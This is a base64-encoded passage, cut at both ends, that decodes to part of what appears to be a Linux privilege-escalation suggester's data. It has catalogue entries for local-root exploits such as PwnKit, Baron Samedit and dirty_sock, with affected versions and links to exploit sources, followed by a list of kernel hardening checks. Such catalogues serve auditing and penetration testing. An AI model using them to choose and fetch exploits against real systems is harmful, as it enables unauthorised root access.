E3LjA0LGZlZG9yYT0yMnwyNSxjZW50b3M9Ny4zLjE2MTEKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9zdGFjay1jbGFzaC50eHQKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL2xpbnV4X2xkc29faHdjYXBfNjQuYwpleHBsb2l0LWRiOiA0MjI3NQphdXRob3I6IFF1YWx5cwpDb21tZW50czogVXNlcyAiU3RhY2sgQ2xhc2giIHRlY2huaXF1ZSwgd29ya3MgYWdhaW5zdCBtb3N0IFNVSUQtcm9vdCBiaW5hcmllcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzcwLENWRS0yMDE3LTEwMDAzNzFdJHt0eHRyc3R9IGxpbnV4X29mZnNldDJsaWIKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjw9Mi4yNSx4ODYKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9zdGFjay1jbGFzaC50eHQKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL2xpbnV4X29mZnNldDJsaWIuYwpleHBsb2l0LWRiOiA0MjI3MwphdXRob3I6IFF1YWx5cwpDb21tZW50czogVXNlcyAiU3RhY2sgQ2xhc2giIHRlY2huaXF1ZQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xMDAwMDAxXSR7dHh0cnN0fSBSYXRpb25hbExvdmUKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjwyLjI3LENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xLHg4Nl82NApUYWdzOiBkZWJpYW49OXtsaWJjNjoyLjI0LTExK2RlYjl1MX0sdWJ1bnR1PTE2LjA0LjN7bGliYzY6Mi4yMy0wdWJ1bnR1OX0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LmhhbGZkb2cubmV0L1NlY3VyaXR5LzIwMTcvTGliY1JlYWxwYXRoQnVmZmVyVW5kZXJmbG93LwpzcmMtdXJsOiBodHRwczovL3d3dy5oYWxmZG9nLm5ldC9TZWN1cml0eS8yMDE3L0xpYmNSZWFscGF0aEJ1ZmZlclVuZGVyZmxvdy9SYXRpb25hbExvdmUuYwpDb21tZW50czoga2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9MSByZXF1aXJlZApiaW4tdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtZnJhbWV3b3JrL21hc3Rlci9kYXRhL2V4cGxvaXRzL2N2ZS0yMDE4LTEwMDAwMDEvUmF0aW9uYWxMb3ZlCmV4cGxvaXQtZGI6IDQzNzc1CmF1dGhvcjogaGFsZmRvZwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xMDkwMF0ke3R4dHJzdH0gdnBuY19wcml2ZXNjLnB5ClJlcXM6IHBrZz1uZXR3b3JrbWFuYWdlci12cG5jfG5ldHdvcmstbWFuYWdlci12cG5jLHZlcjwxLjIuNgpUYWdzOiB1YnVudHU9MTYuMDR7bmV0d29yay1tYW5hZ2VyLXZwbmM6MS4xLjkzLTF9LGRlYmlhbj05LjB7bmV0d29yay1tYW5hZ2VyLXZwbmM6MS4yLjQtNH0sbWFuamFybz0xNwpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9wdWxzZXNlY3VyaXR5LmNvLm56L2Fkdmlzb3JpZXMvTk0tVlBOQy1Qcml2ZXNjCnNyYy11cmw6IGh0dHBzOi8vYnVnemlsbGEubm92ZWxsLmNvbS9hdHRhY2htZW50LmNnaT9pZD03NzkxMTAKZXhwbG9pdC1kYjogNDUzMTMKYXV0aG9yOiBEZW5pcyBBbmR6YWtvdmljCkNvbW1lbnRzOiBEaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xNDY2NV0ke3R4dHJzdH0gcmFwdG9yX3hvcmd5ClJlcXM6IHBrZz14b3JnLXgxMS1zZXJ2ZXItWG9yZyxjbWQ6WyAtdSAvdXNyL2Jpbi9Yb3JnIF0KVGFnczogY2VudG9zPTcuNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuc2VjdXJlcGF0dGVybnMuY29tLzIwMTgvMTAvY3ZlLTIwMTgtMTQ2NjUteG9yZy14LXNlcnZlci5odG1sCmV4cGxvaXQtZGI6IDQ1OTIyCmF1dGhvcjogcmFwdG9yCkNvbW1lbnRzOiBYLk9yZyBTZXJ2ZXIgYmVmb3JlIDEuMjAuMyBpcyB2dWxuZXJhYmxlLiBEaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS03MzA0XSR7dHh0cnN0fSBkaXJ0eV9zb2NrClJlcXM6IHBrZz1zbmFwZCx2ZXI8Mi4zNyxjbWQ6WyAtUyAvcnVuL3NuYXBkLnNvY2tldCBdClRhZ3M6IHVidW50dT0xOC4xMCxtaW50PTE5ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2luaXRibG9nLmNvbS8yMDE5L2RpcnR5LXNvY2svCmV4cGxvaXQtZGI6IDQ2MzYxCmV4cGxvaXQtZGI6IDQ2MzYyCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2svYXJjaGl2ZS9tYXN0ZXIuemlwCmF1dGhvcjogSW5pdFN0cmluZwpDb21tZW50czogRGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZC4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktMTAxNDldJHt0eHRyc3R9IHJhcHRvcl9leGltX3dpegpSZXFzOiBwa2c9ZXhpbXxleGltNCx2ZXI+PTQuODcsdmVyPD00LjkxClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTkvMDYvMDUvY3ZlLTIwMTktMTAxNDkvcmV0dXJuLXdpemFyZC1yY2UtZXhpbS50eHQKZXhwbG9pdC1kYjogNDY5OTYKYXV0aG9yOiByYXB0b3IKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktMTIxODFdJHt0eHRyc3R9IFNlcnYtVSBGVFAgU2VydmVyClJlcXM6IGNtZDpbIC11IC91c3IvbG9jYWwvU2Vydi1VL1NlcnYtVSBdClRhZ3M6IGRlYmlhbj05ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2Jsb2cudmFzdGFydC5kZXYvMjAxOS8wNi9jdmUtMjAxOS0xMjE4MS1zZXJ2LXUtZXhwbG9pdC13cml0ZXVwLmh0bWwKZXhwbG9pdC1kYjogNDcwMDkKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2d1eXdoYXRhZ3V5L0NWRS0yMDE5LTEyMTgxL21hc3Rlci9zZXJ2dS1wZS1jdmUtMjAxOS0xMjE4MS5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMvbG9jYWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE5LTEyMTgxL1NVcm9vdAphdXRob3I6IEd1eSBMZXZpbiAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IEJyZW5kYW4gQ29sZXMgKGF1dGhvciBvZiBleHBsb2l0IHVwZGF0ZSBhdCAnZXh0LXVybCcpCkNvbW1lbnRzOiBNb2RpZmllZCB2ZXJzaW9uIGF0ICdleHQtdXJsJyB1c2VzIGJhc2ggZXhlYyB0ZWNobmlxdWUsIHJhdGhlciB0aGFuIGNvbXBpbGluZyB3aXRoIGdjYy4KRU9GCikKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xODg2Ml0ke3R4dHJzdH0gR05VIE1haWx1dGlscyAyLjAgPD0gMy43IG1haWRhZyB1cmwgbG9jYWwgcm9vdCAoQ1ZFLTIwMTktMTg4NjIpClJlcXM6IGNtZDpbIC11IC91c3IvbG9jYWwvc2Jpbi9tYWlkYWcgXQpUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3Lm1pa2UtZ3VhbHRpZXJpLmNvbS9wb3N0cy9maW5kaW5nLWEtZGVjYWRlLW9sZC1mbGF3LWluLWdudS1tYWlsdXRpbHMKZXh0LXVybDogaHR0cHM6Ly9naXRodWIuY29tL2Jjb2xlcy9sb2NhbC1leHBsb2l0cy9yYXcvbWFzdGVyL0NWRS0yMDE5LTE4ODYyL2V4cGxvaXQuY3Jvbi5zaApzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vYmNvbGVzL2xvY2FsLWV4cGxvaXRzL3Jhdy9tYXN0ZXIvQ1ZFLTIwMTktMTg4NjIvZXhwbG9pdC5sZHByZWxvYWQuc2gKYXV0aG9yOiBiY29sZXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktMTg2MzRdJHt0eHRyc3R9IHN1ZG8gcHdmZWVkYmFjawpSZXFzOiBwa2c9c3Vkbyx2ZXI8MS44LjMxClRhZ3M6IG1pbnQ9MTkKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vZHlsYW5rYXR6LmNvbS9BbmFseXNpcy1vZi1DVkUtMjAxOS0xODYzNC8Kc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL3NhbGVlbXJhc2hpZC9zdWRvLWN2ZS0yMDE5LTE4NjM0L3Jhdy9tYXN0ZXIvZXhwbG9pdC5jCmF1dGhvcjogc2FsZWVtcmFzaGlkCkNvbW1lbnRzOiBzdWRvIGNvbmZpZ3VyYXRpb24gcmVxdWlyZXMgcHdmZWVkYmFjayB0byBiZSBlbmFibGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMC05NDcwXSR7dHh0cnN0fSBXaW5nIEZUUCBTZXJ2ZXIgPD0gNi4yLjUgTFBFClJlcXM6IGNtZDpbIC14IC9ldGMvaW5pdC5kL3dmdHBzZXJ2ZXIgXQpUYWdzOiB1YnVudHU9MTgKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3Lmhvb3BlcmxhYnMueHl6L2Rpc2Nsb3N1cmVzL2N2ZS0yMDIwLTk0NzAucGhwCnNyYy11cmw6IGh0dHBzOi8vd3d3Lmhvb3BlcmxhYnMueHl6L2Rpc2Nsb3N1cmVzL2N2ZS0yMDIwLTk0NzAuc2gKZXhwbG9pdC1kYjogNDgxNTQKYXV0aG9yOiBDYXJ5IENvb3BlcgpDb21tZW50czogUmVxdWlyZXMgYW4gYWRtaW5pc3RyYXRvciB0byBsb2dpbiB2aWEgdGhlIHdlYiBpbnRlcmZhY2UuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIxLTMxNTZdJHt0eHRyc3R9IHN1ZG8gQmFyb24gU2FtZWRpdApSZXFzOiBwa2c9c3Vkbyx2ZXI8MS45LjVwMgpUYWdzOiBtaW50PTE5LHVidW50dT0xOHwyMCwgZGViaWFuPTEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMjEvMDEvMjYvY3ZlLTIwMjEtMzE1Ni9iYXJvbi1zYW1lZGl0LWhlYXAtYmFzZWQtb3ZlcmZsb3ctc3Vkby50eHQKc3JjLXVybDogaHR0cHM6Ly9jb2RlbG9hZC5naXRodWIuY29tL2JsYXN0eS9DVkUtMjAyMS0zMTU2L3ppcC9tYWluCmF1dGhvcjogYmxhc3R5CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIxLTMxNTZdJHt0eHRyc3R9IHN1ZG8gQmFyb24gU2FtZWRpdCAyClJlcXM6IHBrZz1zdWRvLHZlcjwxLjkuNXAyClRhZ3M6IGNlbnRvcz02fDd8OCx1YnVudHU9MTR8MTZ8MTd8MTh8MTl8MjAsIGRlYmlhbj05fDEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMjEvMDEvMjYvY3ZlLTIwMjEtMzE1Ni9iYXJvbi1zYW1lZGl0LWhlYXAtYmFzZWQtb3ZlcmZsb3ctc3Vkby50eHQKc3JjLXVybDogaHR0cHM6Ly9jb2RlbG9hZC5naXRodWIuY29tL3dvcmF3aXQvQ1ZFLTIwMjEtMzE1Ni96aXAvbWFpbgphdXRob3I6IHdvcmF3aXQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctNTYxOF0ke3R4dHJzdH0gc2V0dWlkIHNjcmVlbiB2NC41LjAgTFBFClJlcXM6IHBrZz1zY3JlZW4sdmVyPT00LjUuMApUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNy9xMS8xODQKZXhwbG9pdC1kYjogaHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNDExNTQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtNDAzNF0ke3R4dHJzdH0gUHduS2l0ClJlcXM6IHBrZz1wb2xraXR8cG9saWN5a2l0LTEsdmVyPD0wLjEwNS0zMQpUYWdzOiB1YnVudHU9MTB8MTF8MTJ8MTN8MTR8MTV8MTZ8MTd8MTh8MTl8MjB8MjEsZGViaWFuPTd8OHw5fDEwfDExLGZlZG9yYSxtYW5qYXJvClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMjIvMDEvMjUvY3ZlLTIwMjEtNDAzNC9wd25raXQudHh0CnNyYy11cmw6IGh0dHBzOi8vY29kZWxvYWQuZ2l0aHViLmNvbS9iZXJkYXYvQ1ZFLTIwMjEtNDAzNC96aXAvbWFpbgphdXRob3I6IGJlcmRhdgpFT0YKKQoKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMgc2VjdXJpdHkgcmVsYXRlZCBIVy9rZXJuZWwgZmVhdHVyZXMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKbj0wCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiBNYWlubGluZSBrZXJuZWwgcHJvdGVjdGlvbiBtZWNoYW5pc21zOgpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogS2VybmVsIFBhZ2UgVGFibGUgSXNvbGF0aW9uIChQVEkpIHN1cHBvcnQKYXZhaWxhYmxlOiB2ZXI+PTQuMTUKZW5hYmxlZDogY21kOmdyZXAgLUVxaSAnXHNwdGknIC9wcm9jL2NwdWluZm8KYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9wdGkubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEdDQyBzdGFjayBwcm90ZWN0b3Igc3VwcG9ydAphdmFpbGFibGU6IENPTkZJR19IQVZFX1NUQUNLUFJPVEVDVE9SPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zdGFja3Byb3RlY3Rvci1yZWd1bGFyLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBHQ0Mgc3RhY2sgcHJvdGVjdG9yIFNUUk9ORyBzdXBwb3J0CmF2YWlsYWJsZTogQ09ORklHX1NUQUNLUFJPVEVDVE9SX1NUUk9ORz15LHZlcj49My4xNAphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3N0YWNrcHJvdGVjdG9yLXN0cm9uZy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogTG93IGFkZHJlc3Mgc3BhY2UgdG8gcHJvdGVjdCBmcm9tIHVzZXIgYWxsb2NhdGlvbgphdmFpbGFibGU6IENPTkZJR19ERUZBVUxUX01NQVBfTUlOX0FERFI9WzAtOV0rCmVuYWJsZWQ6IHN5c2N0bDp2bS5tbWFwX21pbl9hZGRyIT0wCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvbW1hcF9taW5fYWRkci5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUHJldmVudCB1c2VycyBmcm9tIHVzaW5nIHB0cmFjZSB0byBleGFtaW5lIHRoZSBtZW1vcnkgYW5kIHN0YXRlIG9mIHRoZWlyIHByb2Nlc3NlcwphdmFpbGFibGU6IENPTkZJR19TRUNVUklUWV9ZQU1BPXkKZW5hYmxlZDogc3lzY3RsOmtlcm5lbC55YW1hLnB0cmFjZV9zY29wZSE9MAphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3lhbWFfcHRyYWNlX3Njb3BlLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBSZXN0cmljdCB1bnByaXZpbGVnZWQgYWNjZXNzIHRvIGtlcm5lbCBzeXNsb2cKYXZhaWxhYmxlOiBDT05GSUdfU0VDVVJJVFlfRE1FU0dfUkVTVFJJQ1Q9eSx2ZXI+PTIuNi4zNwplbmFibGVkOiBzeXNjdGw6a2VybmVsLmRtZXNnX3Jlc3RyaWN0IT0wCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZG1lc2dfcmVzdHJpY3QubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFJhbmRvbWl6ZSB0aGUgYWRkcmVzcyBvZiB0aGUga2VybmVsIGltYWdlIChLQVNMUikKYXZhaWxhYmxlOiBDT05GSUdfUkFORE9NSVpFX0JBU0U9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2thc2xyLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBIYXJkZW5lZCB1c2VyIGNvcHkgc3VwcG9ydAphdmFpbGFibGU6IENPTkZJR19IQVJERU5FRF9VU0VSQ09QWT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvaGFyZGVuZWRfdXNlcmNvcHkubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IE1ha2Uga2VybmVsIHRleHQgYW5kIHJvZGF0YSByZWFkLW9ubHkKYXZhaWxhYmxlOiBDT05GSUdfU1RSSUNUX0tFUk5FTF9SV1g9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3N0cmljdF9rZXJuZWxfcnd4Lm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTZXQgbG9hZGFibGUga2VybmVsIG1vZHVsZSBkYXRhIGFzIE5YIGFuZCB0ZXh0IGFzIFJPCmF2YWlsYWJsZTogQ09ORklHX1NUUklDVF9NT0RVTEVfUldYPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zdHJpY3RfbW9kdWxlX3J3eC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogQlVHKCkgY29uZGl0aW9ucyByZXBvcnRpbmcKYXZhaWxhYmxlOiBDT05GSUdfQlVHPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9idWcubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEFkZGl0aW9uYWwgJ2NyZWQnIHN0cnVjdCBjaGVja3MKYXZhaWxhYmxlOiBDT05GSUdfREVCVUdfQ1JFREVOVElBTFM9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RlYnVnX2NyZWRlbnRpYWxzLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTYW5pdHkgY2hlY2tzIGZvciBub3RpZmllciBjYWxsIGNoYWlucwphdmFpbGFibGU6IENPTkZJR19ERUJVR19OT1RJRklFUlM9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RlYnVnX25vdGlmaWVycy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogRXh0ZW5kZWQgY2hlY2tzIGZvciBsaW5rZWQtbGlzdHMgd2Fsa2luZwphdmFpbGFibGU6IENPTkZJR19ERUJVR19MSVNUPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZWJ1Z19saXN0Lm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBDaGVja3Mgb24gc2NhdHRlci1nYXRoZXIgdGFibGVzCmF2YWlsYWJsZTogQ09ORklHX0RFQlVHX1NHPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZWJ1Z19zZy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogQ2hlY2tzIGZvciBkYXRhIHN0cnVjdHVyZSBjb3JydXB0aW9ucwphdmFpbGFibGU6IENPTkZJR19CVUdfT05fREFUQV9DT1JSVVBUSU9OPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9idWdfb25fZGF0YV9jb3JydXB0aW9uLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBDaGVja3MgZm9yIGEgc3RhY2sgb3ZlcnJ1biBvbiBjYWxscyB0byAnc2NoZWR1bGUnCmF2YWlsYWJsZTogQ09ORklHX1NDSEVEX1NUQUNLX0VORF9DSEVDSz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc2NoZWRfc3RhY2tfZW5kX2NoZWNrLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBGcmVlbGlzdCBvcmRlciByYW5kb21pemF0aW9uIG9uIG5ldyBwYWdlcyBjcmVhdGlvbgphdmFpbGFibGU6IENPTkZJR19TTEFCX0ZSRUVMSVNUX1JBTkRPTT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc2xhYl9mcmVlbGlzdF9yYW5kb20ubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEZyZWVsaXN0IG1ldGFkYXRhIGhhcmRlbmluZwphdmFpbGFibGU6IENPTkZJR19TTEFCX0ZSRUVMSVNUX0hBUkRFTkVEPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zbGFiX2ZyZWVsaXN0X2hhcmRlbmVkLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBBbGxvY2F0b3IgdmFsaWRhdGlvbiBjaGVja2luZwphdmFpbGFibGU6IENPTkZJR19TTFVCX0RFQlVHX09OPXksY21kOiEgZ3JlcCAnc2x1Yl9kZWJ1Zz0tJyAvcHJvYy9jbWRsaW5lCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc2x1Yl9kZWJ1Zy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogVmlydHVhbGx5LW1hcHBlZCBrZXJuZWwgc3RhY2tzIHdpdGggZ3VhcmQgcGFnZXMKYXZhaWxhYmxlOiBDT05GSUdfVk1BUF9TVEFDSz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvdm1hcF9zdGFjay5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUGFnZXMgcG9pc29uaW5nIGFmdGVyIGZyZWVfcGFnZXMoKSBjYWxsCmF2YWlsYWJsZTogQ09ORklHX1BBR0VfUE9JU09OSU5HPXkKZW5hYmxlZDogY21kOiBncmVwICdwYWdlX3BvaXNvbj0xJyAvcHJvYy9jbWRsaW5lCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvcGFnZV9wb2lzb25pbmcubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFVzaW5nICdyZWZjb3VudF90JyBpbnN0ZWFkIG9mICdhdG9taWNfdCcKYXZhaWxhYmxlOiBDT05GSUdfUkVGQ09VTlRfRlVMTD15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvcmVmY291bnRfZnVsbC5tZAp